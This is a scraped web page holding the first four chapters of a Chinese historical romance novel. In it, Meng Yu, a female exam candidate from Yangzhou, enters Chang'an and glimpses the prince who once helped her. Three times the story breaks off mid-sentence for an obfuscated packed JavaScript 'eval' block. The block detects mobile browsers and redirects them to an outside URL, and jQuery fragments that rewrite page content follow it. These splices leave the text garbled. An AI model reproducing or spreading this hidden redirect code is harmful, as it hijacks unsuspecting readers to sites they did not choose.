《玉周行》
1. 第一章
天元十九载孟冬,秋闱已过,各地贡士进京过程繁琐,但白日暖阳融融,倒也不算太过难捱。
孟钰跟着众举子,随扬州司仓参军马焯混在人群里,等候春明门外。
已经近半个时辰不曾行进过一步,再抬头看看天色,只担心今夜恐怕要在城外过宿了。
春明门外皆是纲官商贾,运着奇珍异宝的牛车和载着梨园名伶的马车骈集一处,扬起片片尘土,挡得近乎要看不清进城的队伍。
挤得一群读书人险些要站不住脚,各自守着马匹车辆不敢轻易挪动,生怕误伤了金贵的贡物。
“今年是怎么了,从前这个时节进京未曾这样慢过。”马焯边摸着包裹里的计薄边抱怨着,已是等得十分不耐烦。
他们一行人从扬州一路坐船北上,到了广运潭又乘了一路牛车,浑身酸痛难忍,脑子也是不甚清明。
“你是方才到长安吗,怕是不知道,这两日多是外族和南方来京纳贡的,这自然是头等大事,圣人上月就嘱咐了,凡是进贡的要先行进城呢,各地也怕夜长梦多,总要挤在最前头跟守城禁军说情,我们自然得往后排排。”
旁边不知道哪地的官吏,身边站着零星几个人,转头见马焯后面也跟着一群白衣读书人,便猜到大概是一样的境况,直白地说着。
马焯见是同僚,倒也泄了些气,“那这要待到何时,吾等还赶着到尚书省去哩!”
“可急不得,我这等早早就到了,左不过今日怎么也得放我们进去,后头排的人多了,禁军总要想法子的,不然影响贵人们进城又谁担得起。”
那名官吏又打量了眼马焯后头的几个贡士,瞧见竟有一个女子。
虽穿着一身浅绿的男子宝相花纹窄袖圆领袍,梳着简单的单髻,发髻上并无甚钗镮,脸上也是同样的素净,几乎不见粉脂,但是那张脸却是朱唇皓齿,嫮目秀眉。
夕曛斜斜落在她颊上,将那素雪般的肌肤染出一层薄薄绯红。
然而那双眸子才是真正让人移不开眼的地方,大如杏核,漆黑如点墨,顾盼之间,光华流转,仿佛藏了一泓清泉,又似能一眼将人心底看透。
晚霞映在脸上,光却像被她眼中那股灵气吸了进去,熠熠生辉,女子虽未开口,可那官吏想着自己此生阅人无数,一眼便知她非池中物。
“你们何地来的,今年倒是有女举人,我在这儿候了一天了,各地女举人倒真是不多见。”
也不怪该使君大惊小怪,自本朝唯一女帝周皇准女子参加科考后,女子进士数量曾经也与男子平分秋色过,甚至一度还出过女相。
可周皇之后的几位圣人皆是男子,对此制度无心维护,当今圣人上位前后更是清算了不少周皇亲族和数位掌权公主,并不大重用提拔朝中女官。
只有周皇朝的文臣们坚持恪守成宪,勉力保住此制。
礼部官员察言观色,每年秋闱便渐渐减少女进士的第数,各地选试只得上行下效,民间对女子读书科举的态度也就越来越模糊。
所以女子入仕到如今已成了稀有之事,每年揭榜不过十之一二罢了。
马焯瞧了眼孟钰,神色倒是飞扬了起来,“吾等是扬州来的,这位娘子名讳孟钰,不光是女举子,还是今年扬州府秋闱的解元呢,了不得,那文章写的,连我们刺史都是赞叹不已,只盼着今年榜首出个扬州人士呢。”
“这便是孟钰吗,那篇《无田甫田》,在我们徽州也是小有名气的,我们还当是个岁数不小的老举人,竟不想这般年轻。”
孟钰见话已引到了自己身上,躲不过,上前半步敛衽作揖,“明公夸赞,沅微不敢当。”
那名官吏还想接话攀谈下去,却不想远处响起一阵笃笃的马蹄声,众人不再言语,抬头望去。
只见一群男子,骑着高头大马,身后跟着一队禁军,直直朝正门赶来。
领头的几个皆是龙章凤姿,振玉铿金,身上虽着胡服,隔着百步便已瞧得出贝锦萋菲,价值百金。
银鞍照白马,飒沓如流星。
不过须臾便到了城门下,领头的一位见城门口堵着的人太多,抬手示意后方陆续停下。
春明门外的监门卫早已跑出去十数步候在一旁,低着头作揖。
“这么多人堵着,是怎么了?”最首的男子半弯着身子坐在马上问道。
“回安王的话,今日各地进贡的队伍和进京的乡贡们撞在一起了,然圣人吩咐过,要贡品先进,既要验货又要验人,人手不够,故慢了些。”
原来是三殿下,马焯对孟钰等人使了个眼色,赶忙将头闷了下去,不再举动。
“传胡兆铭出来。”
监门卫听罢起身进了人群,片刻又跟在一个浅绿官服银甲长刀的军官身后近前来。
“臣,春明门监门校尉胡兆铭,见过安王、晋王、永王、济王各位殿下,不知对下官有何吩咐?”
孟钰听着,心里比照起来,安王是三殿下,晋王是五殿下,永王是六殿下,济王是八殿下,只是不知自己找的那位殿下在不在其中。
“你这般忙不过来,还不赶紧回府衙搬救兵去,货和人不管哪方堵着尔等都担待不起,左监门卫不够,便去户部,左右泰半的都是他们要接纳的,误了纳贡和春闱,你瞧李垣寅还坐得住吗?”
安王半眯着眼,拿着镶玉鞭柄不住地敲着鞍头。
胡兆铭半知半解,可自己一个监门校尉去哪里说得动户部尚书,只怕去了户部便也没人搭理自己,只会赖左监门卫办事不力。
何况左监门卫如今能派的卫士均已派出来了,自己又该向谁说情。
“你怎的还不去?”在胡兆铭思虑的这片息里,永王似已不耐烦,张口催促着。
这时一阵清冽温润的声音从马背上传来,泠泠如泉,身在深秋时节,却又似春风拂面,暮色昏沉,却又似天色将明。
“安王意思是你先进去喊一队南衙金吾卫出来,便说吾兄弟几个堵在门外如何都进不去,阿耶还等着我们进兴庆宫,向他回禀今日狩猎趣事,而后再用晚膳,他们自会出来。你正好也上去回禀你们中郎将,让他速速校验,文书齐全的赶紧过去,明日他们自要去尚书省再一一待审。”
“谢过晋王,臣这就去,各位殿下静候片刻。”胡兆铭得了明确指令,即时就朝门内跑去,一刻钟后真领着一队金吾卫出来。
金吾卫分开人群,分列队伍两边,留出一条三人宽的路来让各皇子先行通过。
那道清冷的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590875|205453||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声音又响起,“钟适,你留下一半人,等这边差不多了你再进城,进了宫也不必这么多人跟着了。”
“唯,请各位殿下先行。”
永王于人堆里多觑了几眼,仿佛认出一些扎堆站着的是州府来的乡贡们,“今年进京赶考的还是这般多,诶,那个女举子长得好生白净。”
孟钰听到声音飘来自己这个方向,立时心若擂鼓。
“六哥,慎言!”应是济王觉得不妥已出言提醒,便不再闻得众皇子之间的言谈,但她仍未稳下心来。
马蹄声又渐响起,只是路边人多,并不似之前那般快了,只余一声声清脆嘚嘚。
马蹄逐步从自己面前过去,孟钰终于还是忍不住抬起头。
她等了六载时光,原以为至少要等到明年春闱后曲江宴,甚至更久才能见到这几位殿下,却不想今日刚近城门,便迎面碰上了。
她终究是按耐不住,不管是与不是,总要先分辨一二才行。
可她一抬头便已顿住了,第二匹马背上的那个侧脸,自己永不会忘,这张面容映在她脑海中六载,留在她行囊里的那张小像上六载。
落日余晖从他迎面而去的方向晕下来,将他棱角分明的轮廓镀上一层暖金色的光彩,原本就白皙硬挺的面庞更显如琥珀美玉,未上手摸触就已感受到那种滑润温热。
光影顺着他的眉骨而下,隐进眼窝暗淡的阴影里,却又再在他的眼眸中闪过,扬起的眼尾揉着眼中的一抹亮色,即便隔着六七丈远的距离,也能感受到他的意气风发。
更不提光在他高挺鼻尖的凝落,在他微翘唇角的融合。
即便日沉的光线一点点黯下去,孟钰依然记得天元十三载,破晓朦胧下的同样一张面容。
那时正值六月,江南雨水最多的时候,扬州府也不例外,连下了半个月的雨水一点也没有见停的模样。
彼时十四岁的孟钰尚在祖父的溘然离世里失意。
孟如深致仕前已官居户部右侍郎十数年,在他的辅佐调管下,国库充盈,财政稳当,连圣人也常夸赞。
当时户部尚书年岁已高,圣人隐有升孟如深为新尚书的意思。
可圣人已提拔了杨弋铨为右相授官中书令,杨弋铨此人旁的才能兴许中庸,唯独财政大权牢牢在握,孟如深诚惶诚恐。
正逢孟如深在江南为官的儿子染急症去世,新妇也早已难产不在,只留一个四岁的女孙,无人照拂。
种种缘由下,孟如深只得致仕回到本贯扬州府扬子县,守着些许家产养育女孙,将自己的一生才学倾囊相授。
幸得孟钰自小天赋不凡,于算术理账上展现出异于常人的才能,读书也并不费劲,于一十四岁便已过了县试,在扬子县是个小有名气的才子。
孟钰早慧,孟如深也同她讲过官场难为,不是有才便能立住的。可她却不以为然,苟利社稷,死生以之。
孟如深无从劝说,瞧着孟钰每次提起科考入朝的劲头,觉得她之所向未尝不可,何况自己所遇未必会困住她,到时她终究是要一个人过下去的。
可也是她过乡试的这一年,天元十三载,孟如深终是抵不过早年丧子的悲痛和官场沉浮的忧惧,体况急转直下,油尽灯枯撒手人寰。
2. 第二章
孟钰跟着家中老仆安葬好自己的祖父后,一一回笔了昔日祖父同僚的讣信,然她深知这些人不少已是死的死贬的贬,如今在京中的也不知魑魅魍魉。
族中虽还有其他亲眷,但孟如深从前在京中数十年,亲缘已然淡泊,他咽气前也千叮咛万嘱咐,要孟钰守好家中薄产继续学业自立门户。
她只能求告县令,看在自己小小年纪已过县试的份上,愿出输钱换一籍安身立命的女户和一纸州府官学的保荐。
县令本是个实在人,也得孟如深不少提点,只是天元十三载的夏天,江南一带连下大半个月的雨,西江有几处堤坝已决堤,扬子县也岌岌可危。
县令只得让孟钰先在家中等待,州府内上下力竭救灾,朝廷业已来人赈灾修缮,暂无力应对这些琐事,只说事毕后必定帮她周旋。
可谁知不过三天,大雨刚转小些许,县令已派衙役上门来请她过府一谈。
孟钰一路上也不知道是喜是忧,看着沿路赈灾窝棚,惴惴地行到县衙,谁知县令却笑容满面,一味地告诉她,都办妥了。
孟钰不解,灾患尚未结束,外面阴雨连连,像是永无绝期,怎么突然都办好了。
县令朝天做了个揖,“沅微,有位上头来的贵人,听见我与衙役谈起你祖父和你的事,立时就差人送信去了刺史府.刺史府那头已回了信,说等雨停了,路上干净了,你便可以去了.他已留下信物予你,你届时带着信物去州衙找司功参军,他自会安排好你。”
说着县令便推来一方叠好的青色帕子,帕子已是极好的料子,可是远不及中间那一块和田玉的云纹玉佩来得不赀,配着深青色的绦子尽显琼贵。
家中也不是没有玉器,孟钰怎会不知,这等玉佩不是寻常权贵或商户之家用得起的规格。
她有些迷茫又有些震惊地看着县令,虽然自己还有诸多事情未做,祖父临终前的字字泣血,自己永不敢忘,可是拿着这样一块玉佩在手中,却一时不敢收下。
好像这不是一块玉佩,而是一块巨石,自己接下来便不得自由永受他人桎梏。
县令知道她的顾虑,低声劝慰道:“我知你担心什么,可助你的贵人是京中的一位殿下,这位殿下本不该在扬州,听闻西江沿岸暴雨连天,自请圣命来此,凡事亲力亲为。因圣命有令,他不得让过多人知晓他在此,却仍派亲信替你跑了这一趟。他只知你祖父来历,并不愿问你姓名,也不愿告知你他的身份,替你也办妥了女户,只说让你安心读书,将来成与不成他皆不过问。他也猜你有所顾虑,说你实在不安,不接也无妨,只是可惜你的才能,当致君尧舜上,再使民俗淳,也不枉你祖父对你的期待。”
“我能见他一面吗?”孟钰犹疑着问道。
县令摇了摇头,“他们已去了江边,今夜怕是都要守在那里,我与你说完这些事也即刻要赶去了,若是今夜雨能小下来,我们明早回县衙,不过贵人等立完文书便要回扬州府了,最迟天亮。”
孟钰听完只得起身告辞,不敢再耽误县令正事。
出了县衙大门,握着这枚华贵的玉佩,却不知该往何处去。
回家去么,可是自己这样不明不白的,不知回家该如何跟祖父告别。
她望着县衙门口的主街,顿了几息,收好玉佩,抬脚往家中走去。
嘱咐家中仅剩的三两个老仆,也不敢明说缘由。
只说县令交代去州府官学一事于明日一大早或有眉目,怕雨大误事,要在县衙旁客舍宿上一夜,令他们不必担忧,早些锁门歇息即可。
转身又出了门回到主街,选了一家略有规模的客舍,加价要了临街的一间屋子住下。
来来回回走了大半日,又提心吊胆了一番,早已有些饿了,吩咐店家做了一碗馄饨草草吃完便歇下。
翌日一早,天还未亮透,已隐约听见有马蹄声落在主街青石板上,清脆扰人,似延伸回荡在整条街上。
孟钰悠悠转醒,便知是县令说的返程了。
她立即起身,却也不敢动静太大,慢慢挪到窗边,轻轻扯开一条缝,只见雨竟已停了。
转眼向下看去,果然见县衙门口站着二十余名软甲骑兵亲卫各牵着马,另三匹宝马独立在最前列,不见县令和其他人。
等不过才两刻钟的光景,便见县令跟着三个人出府门来。
因此时日头并未完全出来,县衙檐下光线昏暗,孟钰也不宜轻易挪动,只怕稍有不慎或被人瞧见,直到那行人上马前也不曾看见几人长什么模样。
只见得为首的男子身材高大,似有六尺余高,发髻高梳,一身深衣,即便仅略看得清些许轮廓,她也知道那人轩然霞举,长身玉立,确是个养尊处优的贵人。
倏然间,却见那人抬了下头,因天色实在黯黮,影影绰绰间孟钰并不知他在看什么,虽方寸已乱却只能屏气凝神,不过那人一个凝神的功夫又似收回了视线。
与县令寒暄须臾,这伙人便转身上了马,又低头嘱咐了几句,语毕抓住辔头往东行去。
这时应是过了卯时了,已经半月多未见的日光终于微微从东方升了起来,虽晨光熹微,但足以叫孟钰看清了那人的侧脸。
该去怎样形容那张脸呢,她不禁从怀里摸出那块被上好丝帕裹着的羊脂玉,些许朝晖从窗隙中漏进来,衬得白玉愈加光洁夺目。
正如那个远去的侧脸,光落在他的眉眼,落在他的鼻梁,落在他的唇颊,就这样照亮孟钰的眼眸,照清孟钰的思绪。
是呀,这样一个如玉似光的人物,何必想方设法绕一大圈陷害自己这样一个孤女呢。
如若是想利用,却又助自己去官学,劝自己学而优则仕,这样的利用也应是想要自己去替他做一些为国为民的利事才是。
毕竟自己如祖父一般,一向守正不阿,只知钻研算术账目,并无他长。
孟钰就这样在窗边站到天光大亮,看着人马渐远直至彻底不见,才下楼返家。
见到主街架起的庇护窝棚,见到远处疏堵的河工,她的心越跳越快,彷佛自己期盼许久的明日已经唾手可得。
她又不禁想起那张脸,脚下步伐愈加迅疾。
回到家中,也不管老仆的询问,径直入了书房,将印在脑海中的面容摩在一片笺纸上。
这张小像,并着那枚玉佩,陪着她离了家,陪着她入了官学,陪
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590876|205453||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着她过了州试,陪着她入了长安,陪着她到了天元十九载的这一天,陪着她又仰头望见了那道此生不忘的霁光。
“沅微,该走了。”马焯见孟钰还愣在原地,赶紧唤了一声,紧随着前头其他州府的人逐步往城门靠去。
监门卫接过上头的命令,果然手脚麻利了许多,不过一刻钟,春明门外的商队官队已眼见着朝门内散去了。
马焯拿着州府文书一一给监门卫看过,问过住处便放行,马焯去扬州府进奏院,乡贡们跟着孟钰住进孟如深致仕后留在长安唯一的一处宅苑,皆需往崇仁坊。
坊间暮鼓已经响起。
听见第一声的时候,孟钰正好完全迈过春明门,脚踩在了长安城的青砖石上。
那声音从长安城深处的皇城遥遥滚来,低沉而绵长,像一头看不见的巨兽在缓缓翻动,震撼又压抑。
门洞里裹着各处携来的尘土味的风已经往身后卷去,暮阳迎面照下,将行人的影子也送伸出去好远。
春明门大街上,行人已在匆忙赶路。
下职的官人,挑担的卖饼翁,牵着骆驼的胡商,抱着孩子的妇人,都赶着在坊门关闭前各归其所。
路北是兴庆宫的宫墙,高得须昂颅才能望见墙头。
暮色下那墙是暗红色的,沉甸甸的压下来,适才那队天潢贵胄的人马想必已经入内了,只剩凡人落泥被隔在高墙之外。
“得快些了,恐怕只剩半个时辰便要宵禁了。”马焯疾疾行着,不忘回头催促道。
孟钰便不再看宫墙,小跑起来。
过了道政坊和兴庆宫中间的主街,再往前去便到了东市的十字路口。
沿路的坊墙矮了许多,墙内冒出缕缕炊烟,偶有蒸饼和羊肉的香气,直往众人鼻子里钻去。
东市门已紧闭,门板上贴着前日的告示,又被晚来的秋风吹起半边,啪啪作响,倒显几分萧瑟。
还有零星商贩收了摊并未离去,聚在一起点数银钱,也有少数胡人靠墙高声讲着胡语,身旁的驼铃叮叮作响。
东市正北的胜业坊里更显热闹,坊门里走出三三两两着青衫的士人,大概是去哪里赴宴,今夜不会归家的。
有寺庙的晚钟在坊内响起,一小段路里竟快要盖过暮鼓声,梵音久久不散。
此时日薄西山,暮霭沉沉,近处已是灰蒙蒙的夜。
恍惚间听见鼓声愈加密集,众人更是加快了步速,孟钰已跑得额角出汗,气喘吁吁。
正忧心要摸黑赶路的时候,却忽见橙红色的光连成一片,像一条火龙伏在夜色里,照明了所有赶路人的视线。
原来已到了崇仁坊和平康坊,一条繁华主街处中,崇仁坊坐北,平康坊坐南。
崇仁坊内是高谈阔论,吟诗论经,酒壶碰撞,名人士子的流连地,从天下各地涌来,住进这样的锦绣天地,璀璨灯火里,做着平步青云的梦。
平康坊内是浅斟低唱,抚琴弄弦,衣香鬓影,文人风流的温柔乡,从五陵年少走来,踏进这样的胭脂夜色,朦胧烛影里,不知道明日又会向流出怎样的名诗佳曲。
这就是祖父曾经方兴未艾,后又归隐林下的长安吗。
3. 第三章
终于,一行人还是赶在鼓声停下前到了崇仁坊坊门,又验过了一道文书,才向坊内深处走去。
“好了,你们皆跟沅微去吧,明日辰正,我们还在这个南坊门碰面,我领你们去尚书省过手续,文书记得带齐全了。”
马焯留下一句叮嘱,便朝着扬州府进奏院的方向去了。
孟钰这时方才松快了下来,对着其余几个贡士笑说,“应是把马参军急坏了,今日若进不来,他可要长吁短叹一整夜了。”
“他一向是有规制的,见不得凡事跟预先计议的错开。”
开口说话的是扬州府的另一个贡士,苏行霖,扬州江都人士,家中在扬州莅官,与孟钰同为扬州官学生。
两个人是这批举子里相识最久的,故马参军一走开,两人便闲说起来。
方才一路紧迫,几人已是许久不曾交谈过。
“沅微,你家快到了吗,鼓声停前我们可得进了院门。”
另一个扬州贡士,袁芩生不禁问到。
他是农户出身,谨小慎微,一脸忧心忡忡,生怕几个人没到宅邸鼓声就停了,刚入长安第一天便要受武侯呵斥。
“芩生,你别慌,也就几步路的功夫了。”
“沅微,你从未来过长安,竟这般熟路吗?”说话的是林牧远,家中是扬州一方县吏,最是活络。
“我虽未来过,但祖父给我地契房契时跟我提过具体方位,过了崇仁坊南坊门,往北过两个街口,便转左,过五个院门,再转右,便能瞧见灰白墙的院墙,朝东开的黑漆木门,门上一对铁辅首。呐,这便是了。”
话音正落,众人拐过东西巷,果真便见一对朝东的黑漆木门,黑漆已有些斑驳,门上是一副锈铁门环。
灰白的墙面也有几处脱落,露出里面的夯土墙,墙面上叠着青灰瓦,瓦上里长着一蓬蓬瓦松,些许落败倒也不缺生机。
门上并无牌匾,与白衣人家并无二般。
孟钰望着这扇无匾木门,心口轻轻一烫。这是祖父在长安的旧居,是他当年为官立身之处,如今落着尘,却像在等她归来。
孟钰走上阶前扣了扣门环,俄顷,门内传来一阵脚步声。
木门从里面打开,一个头发灰白的老汉从门缝举着灯笼探出头来,眯着眼睛,借着月光努力辨认着来人。
其实此处宅院自家主回乡后便再也无人上门了,许沱是有些茫然无措的。
“是扬州来的小娘子吗,是小家主吗?”
许沱瞧见领头的竟是个颜如渥丹的小娘子,骤然想起上月扬州来的书信。
才意识到是自己那位家主十六年前毅然决然要返乡养育的那位小娘子已经长大成人,今日入了长安来科考了,险要落下泪来。
阔别多年,终逢故人。
“许翁,是我,你别伤心,我已来了。”孟钰不忍,伸手扶了上去。
这处宅子被祖父遗留在京中十数年,只每年开春后托人寄来佣钱,偶有修缮打点书信来往,再无其他。
竟不想看护人是这样赤胆忠心,守着空宅这么多年不离不弃。
“许翁,我们还是进去说吧,后头还跟着我的许多同期呢。”
许沱抹了抹眼角的湿润,领着众人进了院子。这时一个妇人半散着头发从门房上走出来。
“这是老奴拙荆,纭娘这是小家主,和扬州来的各举子。”
“见过家主,奴是陪老许守在此处的,家主若不嫌弃,日后奴来给各位郎君采买做炊浆洗吧。”
纭娘瞧着也是个热心诚恳的,孟钰更加觉得稳妥安心起来。
“这些等明日我们去过皇城回来再提,劳烦许翁纭娘子替我们做些汤饼再烧些热水,我们今夜便先歇下了。”
“是,那家主和郎君们先与老奴来吧。”
纭娘先进了灶房,许翁领着他们往院子里移步。
孟钰瞧见前院长着好几株高树,入秋了枝头稀落,辨不清品种。
树下是一丛丛花草,如今并无花苞,草叶业已泛黄,却想来年春天定是郁郁葱葱,琪花瑶草。
她向来就心喜这样的树木丛生,百草丰茂。彷佛自己也这样一年一年有始有终蓁蓁其叶地活着。
等过了前院,便是主院,主院堂屋坐北朝南,主院和前院中间一处庭院,庭院东西厢房各三间,院中仍是各样的花木草叶。
等各人选了自己的屋子,安顿好,孟钰取过灯笼便挥手让许沱自行去忙,自己一个人径直向更深处的主院走去。
过了一道垂花门就见到主院院子中铺着青砖石,安置着一方石桌石凳。
想来春日暖意或是秋高气爽之时,祖父应会坐在此处饮茶赏景,就如他在扬州那般。
绕过石桌便是正院堂屋,孟钰抬头看去,瞧见堂屋门前正上方挂着一块牌匾——退思居。
进思尽忠,退思补过。
孟钰低下头来,原来这就是祖父的一生,他早就给自己定下了。
她指尖微紧。她此来长安,不为锦衣,不为虚名,正是要走一遍祖父走过的道。尽忠,补过,不负这一身所学。
抬手推开门,屋内铺着蒲席,中间堂屋,东侧书房,西侧卧房,家具不多,但是温馨雅致。
孟钰看着蒲席上加盖的毡毯,东侧书案上的笔墨纸砚,西侧卧榻上的软衾,又回身看着许沱和纭娘忙进忙出的身影。
她茕茕孑立的羁旅好像已经飘远,她终于又有家了。
她取下身上从扬州一路背来长安的行囊,捧出装着小像和玉佩的小匣子。
不禁打开摩挲了几下玉佩,指尖触到玉佩纹路的一瞬,那年在扬州未见的一面、未还尽的恩、要赴的约,一齐沉到心底。
幸好自己来了此处,幸好那个人也在此处,一切云程发轫,雪霁天晴。
孟钰摸着白玉渐渐被自己染上的热意,内心愈发滚烫,却深知自己还有好远的路要行。
只得收起这个轻巧又沉淀的匣子,放置在书架上一方青釉瓷瓶的后面。
孟钰赶了月余的路,已然是疲惫不堪,用过一点膳食梳洗一番便睡下了。
..........
李桢赶马到兴庆门时天还未黑透,一行人下了马往兴庆殿大步走去,禁军抬着猎物紧随其后。
“三哥今日可是收获颇丰,多半都是你猎的,阿耶定要赏你了。”永王李栩觑了眼身后,揶揄道。
“哪里,不过是为兄运气好些罢了,要我说,那头雄鹿要不是五弟射偏中了前腿,我也逮不住啊。”安王李桁边说边回头朝李桢看去。
李桢闻言笑着迎上了安王的打量,一脸浪荡无谓的样子,“三哥还不知道我嘛,我虽说君子六艺每样皆沾点皮毛,但我那都是为了哄阿耶开心,实际没一样精通的。”
安王倒也不反驳,他知道他这个五弟一向是能躲懒就绝不勤勉的人,有时只要圣人不在连样子都不做,小时候倒是天资聪颖过一阵子。
可自从他生母独
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590877|205453||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
居于大慈恩寺修行后,这个弟弟就像变了个人似的。
也罢,毕竟自己的生母都被圣人厌弃至此,他哪里还有什么心气去争呢。
兄弟几人换了话题又闲谈了两句就到了兴庆殿外,已近戌时,竟闻得仍有人在殿中议事未完。
高忠全看见四个亲王一齐到了廊下,快步迎了上去。
“各位殿下,可不巧,太子殿下和右相各领了人在里头召对,恐怕一时半会儿出不来,老奴领各位殿下去偏殿略坐坐,这会儿起风了,在廊下候着身子可吃不消。”
四人刚要转身随高忠全往偏殿去,便听得里头太子彷佛高声了些,连永王都皱眉蹙额起来。
只是当今圣人一向不让这些皇子过问太多政事,大家只得一言不发地跟着进了偏殿,等坐下时正殿已经安静下来,也不知道是进了僵局还是有了定论。
过了半盏茶的功夫,高忠全便来请他们前去正殿。
“是今年京中用炭的事,太子殿下体恤百姓,说今年的薪炭拨给官员和外使应有结余,可再分发些给京中老弱妇孺,以彰显圣人仁政。可右相却说京中薪炭已是一日一价,如今北疆战事也吃紧,不光没有结余给庶民,恐怕京中官员份例也得较往年减一减。圣人拿捏不住主意,若是殿下们进去被问起来,也好应对。”
高忠全知道事情瞒不住,先卖个乖,说不定有人能出个主意呢。
进了殿,臣工们已不在了,只余太子李楷一人候在五足鎏金熏炉边上,紧抿双唇,脸色晦暗。
圣人也是面色不虞,几人对着上面二人行过礼后也不敢放下。
“你们今日回来的晚了些,遇着什么事了吗?”
济王李柯似是辨不清殿中的境况,眉开眼笑地半步上前道:“回阿耶,是各地进贡的车马和进京的官吏贡士们碰到一起,堵住了春明门,故儿等迟了些。不过儿等很是替阿耶高兴,如今天下奇珍异宝层出不穷,尽入阿耶囊中,各地人才济济,也是尽为大雍鞠躬尽瘁,这都是阿耶励精图治才有的国泰民安之景,儿等为阿耶贺喜。”
圣人终于一改怒容,眉头舒展开,伸出手指朝济王点了点,“你啊,最是油嘴滑舌。”
“想来几位弟弟今日应是收获良多,来向阿耶讨赏了,不然怎等到这时候,早各自散回家去了。”太子见圣人已经缓了脸色,也不再拘着,调侃着几人。
“回长兄,今日三哥猎了好大一头雄鹿,正好阿耶和长兄忙了这半晌也累了,不如架起炉子,咱们做炙肉吃吧。”
永王只当局势已过,一时忘形,却不知他这话一出,殿上众人又变了脸色。
“方才你们在门外想是也听见了,不如说说你们怎么想吧。”
圣人原本盘着书案上的一方镇纸,说着便往案面上一扔,发出咚的一声,震的几人僵住了脸上的笑。
“这等大事,儿臣怎好随意置喙。”安王连忙作揖推脱。
“你们年纪也都不小了,不好日后事事全仰仗太子,事关民生大计,你们既是皇室宗子,自当心怀天下,日后太子登基,你们也当领辅臣之职。”
圣人此话一出,连带着太子,五个人连忙跪了下去。
“臣等惶恐!”声音吐在厚重的地衣上,闷闷的,显得殿内气氛愈加凝重。
圣人有半刻钟未发一言,几人也就跪着未动丝毫。
太子尤是战战,只当圣人下一句便要他回东宫禁步反省。
“都起来吧,老五,你说。”
4. 第四章
李桢听见圣人唤自己,起身故作慌忙地拂了几下衣摆,作揖。
“儿实在不知这些事务,只是若京中炭火实在短缺,不如儿捐了自己的那份,等撑到腊月儿用自己的份例去采买便罢了。”
“哦?既是京中短缺,又去哪里采买?”
“儿听说终南山那边有些卖炭翁,终日在山中烧炭,儿想着若是不行就自己砍些院中草木,请老翁替我烧制,等来年春日再种新树好了。”
“诶,五哥,用不着这么麻烦,我前些日子听清屹说他畏寒,早早就去东西市寻买好炭,还真让他在西市找着了,上好的银炭,不比往年发下去的差呢。”
永王像是担心李桢真折腾这么一大圈,一本正经地出着主意。
永王李栩名为栩,却总是能把话说死了。话音刚落,满殿又是鸦雀无声。
“行了,不是说要吃炙肉吗,高忠全,你去准备。”
圣人终于停下话头宣膳了,永王以为自己再次说错了话,瞧着圣人的模样松了口气,想来是没什么事了。
一顿饭众人倒是用的其乐融融,圣人偶尔问起今日出城狩猎的种种。
永王和济王二人一唱一和,说的绘声绘色,倒哄得圣人开怀大笑了几次,让人取了一张宝弓来赐予安王,安王自是喜不自胜。
饭毕,夜已深了,几个皇子纷纷起身告辞,圣人点头应允,又让太子和李桢暂留片刻。
“玄晖,老六方才说的话你也听见了,这件事你明日找京兆府、御史台还有户部去给朕查清楚,朕既要今年薪炭齐全,也要军费稳妥,不然朕就只能从你的俸禄里扣了。”
“是,儿明白。”太子说完拜过圣人,又与李桢互相作礼,目不斜视地出了殿。
“聿瞻,你说这件事,朕该听太子的还是右相的?”
虽刚酒饱饭足,但圣人仍是目光如炬,不见一丝萎靡,就那样审视着李桢,不错过他脸上的任何变动。
“阿耶定是已经有了决断,不然也不会让阿兄去查了,儿料着最后定是能两全其美,阿耶尽可安心。”
李桢也不再做虚礼,只是温和地回视着他这高高在上的父亲。
“是吗,你倒是达观,若是太子那边处理不好,你便也如你说的做罢。”
李桢知道圣人这句是玩笑话,笑吟吟点头应是。
“听闻你前些日子去瞧过你阿娘了,她近来如何?”圣人收回视线朝案上摊着的奏章看去。
“阿娘一切都好,身体康健,精神舒畅,也与我问起阿耶呢。”
圣人听见这句,倒是又抬起了头,呢喃道:“哦,是吗,你怎么回的?”
“儿只说阿耶政务繁忙,儿并不常常得见,但大雍如今太平盛世,政通人和,阿耶心中满足,定是极好的。”
圣人闻言,爽声笑了起来。
“你啊,你阿娘问的是朕人如何了,你净会替朕吹嘘,下次你阿娘再问起,只说朕一切都好。对了,再过不久,眼见要到腊月了,寺中清苦,让你阿娘还是回宫来,若她仍要修行,宫中也是有庙观供她安住的。”
“回阿耶的话,儿也劝过阿娘,只是阿娘说年关将至,寺中常有云游大师讲经,之后年节香火旺盛,她想留在寺中护持,也算是替阿耶和儿积福了。”
圣人握着奏折的手紧了又松,灯火葳蕤下,脸上一时茫然却又似有些恼意。
